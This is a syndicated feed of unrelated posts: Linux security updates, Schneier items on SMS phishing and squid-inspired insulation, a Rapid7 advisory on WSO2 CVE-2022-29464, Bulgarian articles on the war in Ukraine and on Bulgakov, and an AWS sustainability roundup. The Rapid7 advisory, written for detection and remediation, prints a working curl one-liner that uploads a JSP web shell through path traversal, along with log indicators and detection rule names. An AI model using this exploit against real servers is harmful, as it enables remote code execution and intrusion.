Security updates for Monday

Post Syndicated from original https://lwn.net/Articles/892536/

Security updates have been issued by Fedora (kernel, kernel-headers, kernel-tools, libinput, podman-tui, and vim), Mageia (git, gzip/xz, libdxfrw, libinput, librecad, and openscad), and SUSE (dnsmasq, git, libinput, libslirp, libxml2, netty, podofo, SDL, SDL2, and tomcat).

SMS Phishing Attacks are on the Rise

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2022/04/sms-phishing-attacks-are-on-the-rise.html

SMS phishing attacks — annoyingly called “smishing” — are becoming more common.

I know that I have been receiving a lot of phishing SMS messages over the past few months. I am not getting the “Fedex package delivered” messages the article talks about. Mine are usually of the form: “Thank you for paying your bill, here’s a free gift for you.”

Friday Squid Blogging: Squid Skin–Inspired Insulating Material

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2022/04/friday-squid-blogging-squid-skin-inspired-insulating-material.html

Interesting:

Drawing inspiration from cephalopod skin, engineers at the University of California, Irvine invented an adaptive composite material that can insulate beverage cups, restaurant to-go bags, parcel boxes and even shipping containers.

[…]

“The metal islands in our composite material are next to one another when the material is relaxed and become separated when the material is stretched, allowing for control of the reflection and transmission of infrared light or heat dissipation,” said Gorodetsky. “The mechanism is analogous to chromatophore expansion and contraction in a squid’s skin, which alters the reflection and transmission of visible light.”

Chromatophore size changes help squids communicate and camouflage their bodies to evade predators and hide from prey. Gorodetsky said by mimicking this approach, his team has enabled “tunable thermoregulation” in their material, which can lead to improved energy efficiency and protect sensitive fingers from hot surfaces.

Research paper.

As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.

Read my blog posting guidelines here.

Opportunistic Exploitation of WSO2 CVE-2022-29464

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/04/22/opportunistic-exploitation-of-wso2-cve-2022-29464/

Opportunistic Exploitation of WSO2 CVE-2022-29464

On April 18, 2022, MITRE published CVE-2022-29464 , an unrestricted file upload vulnerability affecting various WSO2 products. WSO2 followed with a security advisory explaining the vulnerability allowed unauthenticated and remote attackers to execute arbitrary code in the following products:

  • API Manager
  • Identity Server
  • Identity Server Analytics
  • Identity Server as Key Manager
  • Enterprise Integrator

A technical writeup and proof-of-concept exploit by @hakivvi quickly followed on April 20. The proof of concept uploads a malicious .jsp to /fileupload/toolsAny on the WSO2 product’s webserver. The .jsp is a web shell, and due to a directory traversal issue affecting the upload files name, the attacker can write it to a location where they can then send it commands. The attack is not restricted to .jsp files — other researchers, such as our old friend William Vu, have demonstrated exploitation with a war file.

Exploitation is quite easy. The following, modeled after both the original PoC and Vu’s, uploads a simple jsp web shell that the attacker will be able to use by visiting https://target:9443/authenticationendpoint/r7.jsp:

echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().
exec(request.getParameter("cmd"),null,null); %>' | curl -kv -F ../../
../../repository/deployment/server/webapps/authenticationendpoint/r7.
jsp=@- https://10.0.0.20:9443/fileupload/toolsAny

Rapid7’s Managed Detection and Response (MDR) team has observed this vulnerability being opportunistically exploited in the wild. Attackers appear to be staying close to the original proof-of-concept exploit and are dropping web shells and coin miners on exploited targets. Victim systems include both Windows and Linux installations of the aforementioned WSO2 products.

Rapid7 recommends remediating this vulnerability immediately per the instructions in WSO2’s advisory. If remediation is not possible, remove installations from the public internet as soon as possible. Inspect your installation for web shells (.jsp and .class): For example, the original proof of concept will drop the webshell in /authenticationendpoint/ which, when using API Manager on Windows, can be found in C:\Program Files\WSO2\API Manager\3.2.0\repository\deployment\server\webapps\authenticationendpoint. Additionally, examine the server’s http_access log for requests to /fileupload/toolsAny as a possible indication of malicious behavior:

10.0.0.2 - - [22/Apr/2022:15:45:22 -0400] POST /fileupload/toolsAny HTTP/1.1 
200 31 - curl/7.74.0 0.016
10.0.0.2 - - [22/Apr/2022:15:48:46 -0400] POST //fileupload/toolsAny HTTP/1.1 200 31 - python-requests/2.25.1 0.000
10.0.0.2 - - [22/Apr/2022:15:49:13 -0400] POST /fileupload/toolsAny HTTP/1.1 200 32 - python-requests/2.25.1 0.000

Additionally, dropped war files will likely be exploded in the webapps directory (e.g. C:\Program Files\WSO2\API Manager\3.2.0\repository\deployment\server\webapps). The deployment may create entries such as the following in the wso2carbon log:

TID: [-1234] [r7] [2022-04-22 15:51:32,609]  INFO {org.wso2.carbon.webapp.
mgt.TomcatGenericWebappsDeployer} - Deployed webapp: StandardEngine
[Catalina].StandardHost[localhost].StandardContext[/r7].File[C:\PROGRA~1\
WSO2\APIMAN~1\32E445~1.0\bin\..\repository\deployment\server\webapps\r7.war]

Rapid7 customers

Rapid7 InsightIDR customers already have detection rules in place that can identify activity around the exploitation of this vulnerability. Customers should consider reviewing the rule action and priority of the following detection rules. Teams should be ready to investigate any alerts generated from these rules. For Rapid7 MDR customers, the MDR team is monitoring these alerts and will notify you if suspicious activity is detected in your environment.

  • Suspicious Process – Python Downloading and Executing Script
  • Attacker Technique – URL Passed To BitsAdmin
  • Attacker Technique – CertUtil With URLCache Flag
  • Attacker Technique – PowerShell Download Cradles

The Rapid7 Threat Detection and Response team also added the following rule to identify malicious activity specifically related to this exploit:

  • Suspicious Process – WSO2 Product Launches Suspicious Process (added 2022-04-22 19:19 UTC)

We are actively working on development of a vulnerability check for InsightVM and Nexpose customers and will update this blog with further information as it is available.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Седмицата (18–23 април)

Post Syndicated from Светла Енчева original https://toest.bg/editorial-18-23-april-2022/

В навечерието на Великден настроението не е много празнично. Няма как да се абстрахираме от войната. А посещението на украинския външен министър Дмитро Кулеба оставя вкус на гузност в устата. Президентът на България, който по дефиниция е олицетворение на нацията, нарече Русия и Украйна братски народи. Кулеба добре му отговори, че двете държави могат да са братски само в смисъла, в който Каин и Авел са братя.

Управляващите така и не взеха решение за предоставяне на директна военна помощ за Украйна. Е, за предпочитане е да пращаме оръжие на Украйна индиректно и под сурдинка, отколкото изобщо да не пращаме – това все пак е начин да помагаме на нападната страна, а и на демократичния свят (включително на себе си). Но неприятният вкус от липсата на ясна и открита позиция остава.

Николета Атанасова

Седмицата в „Тоест“ започна отново под знака на войната. В понеделник излезе третият епизод на подкаст поредицата „Украйна не е загубена“. Николета Атанасова продължава да разказва историята на украинката Алла, избягала с детето си от бомбите в Киев. В Украйна са останали мъжът ѝ и брат ѝ, тъй като са мобилизирани да отбраняват страната си, както и родителите ѝ, които не са успели да се евакуират от Харков навреме. Въпреки че брат ѝ е тежко ранен в Мариупол, Алла не губи присъствие на духа. Тя участва в шествията в подкрепа на Украйна в София и търси утеха в хубавите спомени отпреди войната.

Емилия Милчева

„Национално съгласие… Някой виждал ли го е?“, реторично пита Емилия Милчева в тазседмичния си политически коментар. „Национално съгласие“ според Емилия е напълно изтърбушена от съдържание фраза. Бившият премиер Бойко Борисов призовава към национално съгласие (любима фраза впрочем на ДПС), но… само ако стане на неговото. В управляващата коалиция съгласието е заменено от компромиси в името на споделената власт. А от това в последна сметка печели режимът на Владимир Путин. В последните си публични изяви Бойко Борисов ласкае президента Румен Радев. Дали пък двамата не готвят някакво национално съгласие?

Дилян Ценов

Поемаме си за малко въздух от войната и политиката, за да се гмурнем в изкуството. Новият ни автор Дилян Ценов дебютира в „Тоест“ със статията си „Трилогията BECOMING: Когато танцът среща киното“. В нея той разказва за съвместния проект на хореографите Стефани Ханджийска и Коста Каракашян и документалистката Силвия Чернева, които основават програмата „Фокус Кино Танц“. Филмите им третират темата за идентичността на съвременния човек през призмата на три концепции – за женствеността, за мъжествеността и за юношеството.

Мария Енчева

Тази седмица при нас дебютира и Мария Енчева, но всъщност не съвсем. Тя е присъствала в „Тоест“ и преди, но в качеството си на преводачка от нидерландски. Този път Мария Енчева взема интервю от нидерландския писател Тон Телехен – лекаря, който говори чрез животните. Повод за разговора е книгата му „Същността на слона“, публикувана наскоро на български език от издателство „Точица“. Телехен е пишещ лекар (или лекуващ писател), който руши границите между литературата за деца и литературата за възрастни. Както и границите между хора и животни – пише за животните така, сякаш са хора със своите мисли и копнежи.

И след като си поехме въздух – обратно към политиката. Миналата седмица официални представители на българската държава отидоха в Битоля, за да присъстват на откриването на клуб към българския Културен център „Иван Михайлов“ в града. В статията си „Посещението на българската делегация в Битоля като активно мероприятие“ защитавам тезата, че това събитие е добре дошло за руската пропаганда. Защото по този начин държавата ни се идентифицира с личност, на която не е направена прецизна историческа оценка и за която се знае, че не се радва на симпатии в Северна Македония. А това допълнително изостря отношението между двете страни по линията на внушавани от Русия опорни точки.

Зорница Христова

В рубриката „По буквите“ Зорница Христова отново ни представя три книги, които според нея заслужават нашето внимание. Този път и трите са на руския писател от украински произход Михаил Булгаков, известен у нас най-вече с романа си „Майстора и Маргарита“. Книгите, издадени в последно време, са „Говорещото куче“ (изд. „Изток-Запад“), „Записки на младия лекар“ и „Дяволиада“ (изд. „Нике“). Според Зорница не си струва да се обяснява защо преследваният от сталинския режим Булгаков е актуален и днес – то се вижда от само себе си.

Накрая – няколко препоръки от мен.

На откриването на фотографската изложба „СТОП на войната в Украйна“ в сградата на Народното събрание украинският външен министър Дмитро Кулеба произнесе много силна реч. Струва си да прочетете цялото му изказване („Свободна Европа“ публикува превода му на български), но ето само две изречения от него:

Всеки, който намира някакви причина или аргумент да не пристъпи напред, да не изрази политическа позиция, да не натисне копчето и да вземе правилното решение, действа в полза на агресията. Както и да се аргументира такъв човек, той може да звучи много рационално, но във време на война съм абсолютно сигурен, че всяко човешко същество трябва да бъде на страната на жертвата, а не на страната на агресора.

След думите на Румен Радев към Кулеба, че в Украйна се води „братоубийствена война между два братски народа“, в социалните мрежи започна да набира популярност песента „Никогда мы не будем братьями“ („Ние никога няма да бъдем братя“).

Тя е по стихотворение на младата украинска поетеса Анастасия Дмитрук, написано в контекста на анексията на Крим. Преведох за вас няколко строфи – буквално, без рими и без претенции за художественост. А вие сами можете да се досетите кои са онези, които никога няма да бъдат братя:

Ние никога няма да бъдем братя!
Нито по родина, нито по майка.
Вие нямате дух да бъдете свободни –
дори доведени братя не можем да бъдем.
Вие се нарекохте „старши“ –
бихме били „младши“, но не и „ваши“.
Толкова сте много, но за жалост сте безлики.
Вие сте огромни, ние сме велики. […]
Вие имате Цар, ние имаме Демокрация.
Ние никога няма да бъдем братя.

В понеделник „Нова телевизия“ започна излъчването на украинския сериал „Слуга на народа“ с участието на Володимир Зеленски, дублиран на български. Сериалът върви от 23:30 вечерта, но епизодите са достъпни и на сайта на телевизията.

За финал – още една културна радост в тези безрадостни времена. Към Читателския клуб „Тоест“ се присъедини и издателство „Аквариус“. Така издателствата, които предоставят на активните ни дарители 20% постоянна отстъпка от коричната цена на всичките си книги, вече станаха 14.

Приятно четене! И светли празници!

Източник

A collection of posts to help you design and build sustainable cloud architecture

Post Syndicated from Bonnie McClure original https://aws.amazon.com/blogs/architecture/a-collection-of-posts-to-help-you-design-and-build-sustainable-cloud-architecture/

We’re celebrating Earth Day 2022 from 4/22 through 4/29 with posts that highlight how to build, maintain, and refine your workloads for sustainability.


A blog can be a great starting point for you in finding and implementing a particular solution; learning about new features, services, and products; keeping up with the latest trends and ideas; or even understanding and resolving a tricky problem. Today, as part of our Earth Day celebration, we’re showcasing blog posts that do just that and more.

Optimize AI/ML workloads for sustainability series

Training artificial intelligence (AI) services and machine learning (ML) workloads uses a lot of energy, but they are also one of the best tools we have to fight the effects of climate change. For example, we’ve used ML to help deliver food and pharmaceuticals safely and with much less waste, reduce the cost and risk involved in maintaining wind farms, restore at-risk ecosystems, and predict and understand extreme weather.

In this series of three blog posts, Benoit, Eddie, Dan, and Brendan provide guidance from the Sustainability Pillar of the AWS Well-Architected Framework to reduce the carbon footprint of your AI/ML workloads.

ML lifecycle

Machine learning lifecycle

Improve workload sustainability with services and features from re:Invent 2021

Creating a well-architected, sustainable workload is a continuous process. This blog post highlight services and features from re:Invent 2021 that will help you design and optimize your AWS workloads from a sustainability perspective.

Optimizing Your IoT Devices for Environmental Sustainability

To become more environmentally sustainable, customers commonly introduce Internet of Things (IoT) devices. These connected devices collect and analyze data from commercial buildings, factories, homes, cars, and other locations to measure, understand, and improve operational efficiency. However, you must consider their environmental impact when using these devices. They must be manufactured, shipped, and installed; they consume energy during operations; and they must eventually be disposed of. They are also a challenge to maintain—an expert may need physical access to the device to diagnose issues and update it. This post considers device properties that influence an IoT device’s footprint throughout its lifecycle and shows you how Amazon Web Services (AWS) IoT services can help.

Let’s Architect! Architecting for Sustainability

This first post in the Let’s Architect! series gathers content to help software architects and tech leaders explore new ideas, case studies, and technical approaches. Luca, Laura, Vittori, and Zamira provide materials to help you address sustainability challenges and design sustainable architectures.

Optimizing your AWS Infrastructure for Sustainability Series

As organizations align their business with sustainable practices, it is important to review every functional area. If you’re building, deploying, and maintaining an IT stack, improving its environmental impact requires informed decision making.

This three-part blog series provides strategies to optimize your AWS architecture within compute, storage, and networking.

The shared responsibility model for sustainability shows how it is a shared responsibility between AWS and customers

The shared responsibility model for sustainability shows how it is a shared responsibility between AWS and customers

IBM Hackathon Produces Innovative Sustainability Solutions on AWS

Our consulting partner, IBM, organized the “Sustainability Applied 2021” hackathon in September 2021. This three-day event aimed to generate new ideas, create reference architecture patterns using AWS Cloud services, and produce sustainable solutions.

This post highlights four reference architectures that were developed during the hackathon. These architectures show you how IBM hack teams used AWS services to resolve real-world sustainability challenges. We hope these architectures inspire you to help address other sustainability challenges with your own solutions.

По буквите: Михаил Булгаков

Post Syndicated from Зорница Христова original https://toest.bg/po-bukvite-mihail-bulgakov/

В емблематичната си колонка, започната още през 2008 г. във в-к „Култура“, Марин Бодаков ни представяше нови литературни заглавия и питаше с какво точно тези книги ни променят. Вярваме, че е важно тази рубрика да продължи. От човек до човек, с нова книга в ръка.

Извини ме, любезни читателю – част от книгите, които представям този път, вече са били издавани и ти може би си ги чел: „Кучешко сърце“ например е публикувана още през 1989 г. в Библиотека „Панорама“, а през 2007 г. „Фама“ издава „Избрано“ на Булгаков. Тяхната едновременна поява днес обаче ме поблазни да ги прочета една през друга, една чрез друга.

Още повече че в последно време интересът към Булгаков продължава да се разраства, самият автор се превръща в нещо като популярна икона. „Записки на младия лекар“ например е филмирана през 2012 г. като сериал с Джон Хам и Даниел Радклиф, през 2012 г. излиза руски сериал по „Бялата гвардия“, а малко по-рано (2011–2012) се играе пиесата на Джон Ходж „Сътрудници“ (или може би по-точно „Колаборатори“), в която Сталин гони из тясната му стая Булгаков, държащ огромна пишеща машина в ръце. Кошмарът явно се повтаря всяка нощ, защото съпругата му Елена пита само „Хвана ли те?“, а Булгаков отговаря: „Не, не. Грабнах пишещата машина и натраках „копеле такова“ по кокалчетата му.“ Пиесата, както разбирам, е черна комедия за играта на котка и мишка между диктатора и писателя, кулминирала в телефонен разговор и пиеса за младостта на Сталин в Батуми.

Но да започнем от книгите на масата.

Превод от руски Лиляна Минкова, София: изд. „Нике“, 2021

„Записки на младия лекар“ описва „през мъглата на революцията“ предвоенните преживелици на Булгаков като млад начинаещ лекар в затънтено село, до което се стига по разбит и едва проходим през зимата път. Историите са свежи и динамични, с естествената драма на битките срещу смъртта, но и също толкова естествено смешно-гротескни. Младият лекар е в ужас да не се окаже некомпетентен (и да не го помислят за такъв) и тича от операционната маса да надникне в справочника под предлог, че отива да пуши. Пациентите му вярват само когато суеверията не са свършили работа, а предписаните хапове биват изпити наведнъж, за да не се церемонят много.

За разлика от сериала, в който са добавяни скечове, за да се подсили комичният ефект, в оригинала като че ли основното е истината в цялото ѝ безумие, а възможността покрай потреса да се потресеш и от смях е добавена стойност. Впрочем този смях е предимно за сметка на самия автор; тъгата също, защото последната история в книгата е за неговия наследник на поста – и пагубната му страст към морфина. В сериала към морфина посяга самият Булгаков; в книгата обаче той чете тетрадката с дневника на следващия „млад лекар“ в селото след неговото самоубийство; отново виждаме разказ в първо лице, но някак „заскобен“. Възможно ли е Булгаков да е рециклирал съществуващ свой дневник? Няма как да знаем.

Със сигурност обаче писателят вижда в дневниците важен инструмент за своята работа. Когато години по-късно дневниците му са иззети при обиск на жилището заедно с повестта „Кучешко сърце“, той пише куп отчаяни писма, за да си ги върне; не мога да работя без тях, обяснява на този или онзи чиновник, няма да ги публикувам, само ми ги върнете. От тези, които са запазени и публикувани в „Говорещото куче“, разбираме следното: Булгаков и жена му живеят в мизерия, без храна и… да кажем, без подметки на обувките. В постреволюционна Москва цари хиперинфлация, паричната единица „червонец“ е била напечатана в твърде големи количества. Всеки по-голям апартамент е разделен на „квартири“, понякога с шперплатови плоскости, зад които всичко се чува; от предвоенния шанс да си вършиш на спокойствие това, в което си добър, няма и следа.

В този смисъл и „Кучешко сърце“, и „Фаталните яйца“ съдържат елементи на лична фантазия: какво би било, ако се върнеше поне нещо от старото, например ако професорите бъдат оставени на мира? Професор Преображенски успява да запази жилището си и порядките в него благодарение на високопоставените си пациенти и техните твърде деликатни операции; професор Персиков от „Фаталните яйца“ пък просто чудодейно се връща към предишния си статус, тъй като равни на него в света са един-двама в Оксфорд. Що се отнася до жабите, де.

Разбира се, неочакваното съжителство е жесток извор на сатиричен материал – вижте „Главполитбогослужение“ в сборника „Говорещото куче“, където (по реална съдебна преписка) църква и училище делят един двор, а пионерските и църковните химни се саботират и допълват, докато всичко не пропадне в „хигиената огнена“ и поболялото се отче не промълви, че и да го чуят „онези“, той няма какво да губи освен оковите си.

Превод от руски Огняна Иванова, София: изд. „Изток-Запад“, 2022

Съдейки по дневниците, самият Булгаков се лашка между нуждата от препитание и страха да не загуби таланта си. Намерил е работа да пише фейлетони – само дето от него се искат безмозъчни и беззъби; пише ги за минути (с пушенето и свирукането), но усеща как това разлага ума му. Постъпва на работа в Художествения театър на Москва – само че пиесите му или не се поставят, или са свалени набързо от сцена, или са преработени от Станиславски до такава степен, че Булгаков се отказва от тях.

Изключение прави „Дните на Турбини“ – за съдбата на белогвардейско семейство, твърде подобно на неговото; трагично-героични образи, които обаче приемат неизбежността на новото време. Сталин харесал пиесата и я гледал 15 пъти; вероятно това е предпазило Булгаков от директни преследвания (а Булгаков е напълно наясно със зверствата на ЧК, както става ясно от репортерския му бележник).

Въпреки всичко в разгара на култа височайшият интерес кара писателя да търси „разрешение свише“ за двата си основни проблема – омертата по отношение на неговите произведения и невъзможността да пътува зад граница. След телефонен разговор със Сталин той все пак е назначен в Художествения театър (самоубийството на Маяковски малко по-рано вероятно изиграва роля), но за второто така и не получава отговор. Въпреки всичко обаче Булгаков продължава да служи не на друго, а на сатиричния си талант; включително и при разпита си в ОГПУ свидетелства: „… виждам много недостатъци в съветския бит и благодарение на своята умствена нагласа имам сатирично отношение към тях“, а в делото по същество казва: „… симпатиите ми бяха изцяло на страната на белите и следях отстъплението им с ужас и недоумение“.

В повестта „Кучешко сърце“ не само основният образ на Бубик/Бубев е алегория на пролетариата, превърнат в нещо чудовищно от провален експеримент; непоносимостта към озверелия пролетариат пропива всяка дума в книгата. Нищо чудно, че я изземат и разпитват писателя кои са били слушателите, пред които я е чел (той отказва да ги назове „по етични съображения“). И продължава да чете неподлежащите си на публикуване творби пред приятели, омагьосани и ужасени какво може да се случи.

Какво можем да прочетем в тези творби днес, извън тяхната история и забраната върху тях? („Фаталните яйца“ всъщност излиза в периодичния печат, но в книга Булгаков не вижда повестта.) Първо, очевидно са много по-добри от фейлетоните, макар сред тях да има някои много смешни и язвителни, а други да са любопитни с начина, по който Булгаков отразява реални събития – реалните голи хора с ленти „Долу срама“ в московските трамваи (в дневника) се превръщат в неоправдан слух, предизвикал показателните реакции на уж възмутеното гражданство (във фейлетона).

Превод от руски Борис Мисирков, София: изд. „Нике“, 2022

По-добри са също и от публикуваната „Дяволиада“, която самият Булгаков не е харесвал особено. За мен беше любопитен най-вече кинематографичният ѝ заряд: представете си гоголевски чиновник в чаплиновска гонитба из огромно учреждение и поканете сюрреалист да посочи кой в какво да се превръща; за четене е малко объркваща, но на екран би била впечатляваща.

„Фаталните яйца“ стои много здраво в основите на съветската фантастика; горе-долу по това време излиза и „Главата на професор Доуел“ на Александър Беляев, очевидно интересът към жанра има голям потенциал, но Булгаков не може да бъде просто жанров и беззъб. Дори да изключим причинения от революцията мор по жабите на проф. Персиков, целият селскостопански експеримент с възраждането на кокошето население с помощта на открития от него „червен лъч“ на живота и причинения от него змийски мор е явна подигравка с „червените идеи“ за процъфтяване на селото.

Или друг паралел: в „Хойти-Тойти“ на Беляев също се присажда човешки мозък на животно (слон), но всичко е безопасно, африканско-германско, докато Бубев е озъбил пролетарска муцуна право в лицето на читателя. Впрочем в оригинала кучето е Шарик/Шариков; Бубик/Бубев е решение на преводача Борис Мисирков (баща на фотографа Борис Мисирков) – според мен находчиво, както и чудесното преименуване на Калсонер от „Дяволиада“ като „Наполеонкер“ – хем се получава добро объркване с мъжките долни гащи, хем човечето наистина е един малък съветски мултиплициращ се Наполеончо.

Тук вероятно трябва да завърша с две изречения, показващи колко актуален е Булгаков и днес, колко много от неговите герои виждаме ежедневно и колко важно е човек да следва таланта си при всичките си съмнения в него, а също и злощастните „етични съображения“, макар и до нищо добро да не водят. Но защо са ми тези две изречения – то се вижда и от само себе си.

Активните дарители на „Тоест“ получават постоянна отстъпка в размер на 20% от коричната цена на всички заглавия от каталога на „Нике“, както и на няколко други български издателства в рамките на партньорската програма Читателски клуб „Тоест“. За повече информация прочетете на toest.bg/club.
Заглавно изображение: Колаж от корици на „Изток-Запад“ и „Нике“ и снимка на Annie Spratt / Unsplash

Източник

The collective thoughts of the interwebz